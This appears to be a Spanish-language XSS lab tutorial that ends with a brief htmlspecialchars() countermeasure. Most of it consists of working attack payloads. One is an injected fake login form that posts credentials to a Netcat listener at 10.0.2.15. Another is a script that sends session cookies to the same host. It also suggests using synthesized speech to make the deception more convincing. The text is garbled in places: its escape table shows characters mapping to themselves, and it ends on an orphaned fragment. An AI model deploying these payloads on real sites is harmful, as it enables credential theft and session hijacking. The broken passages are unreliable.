Práctica sobre ataques Cross-Site Scripting (XSS): envío de credenciales a un listener de Netcat, captura de cookies de sesión y uso de htmlspecialchars() como contramedida.
Ponemos Netcat en escucha en el puerto deseado:
nc -lvp 1337
Inyectamos el siguiente payload XSS en un campo vulnerable. El formulario falso envía las credenciales a nuestra IP:
<script>alert('Por favor, inicia sesion para continuar')</script>
<h3>Para continuar navegando, inicie sesión</h3>
<form action="http://10.0.2.15:1337">
Username:<br>
<input type="text" name="username"><br>
Password:<br>
<input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
Con la API de Speech Synthesis podemos hacer el engaño más convincente añadiendo voz al alert.
La función document.cookie devuelve todas las cookies del navegador separadas por punto y coma. El siguiente payload las exfiltra hacia nuestro servidor:
<script>
img = new Image();
img.src = "http://10.0.2.15:800/a.php?" + document.cookie;
</script>
En el listener (nc -lvp 800) recibiremos la petición GET con las cookies en la query string.
htmlspecialchars() convierte los caracteres especiales en entidades HTML, neutralizando el script antes de que el navegador lo interprete:
<?php
// Antes de mostrar cualquier entrada de usuario:
$input = htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
echo $input;
?>
Caracteres que escapa: < → <, > → >, " → ", ' → '.
Resultado: aunque el atacante inyecte <script>...</script>, el navegador lo renderiza como texto plano en lugar de ejecutarlo.
session.cookie_httponly = On en PHP).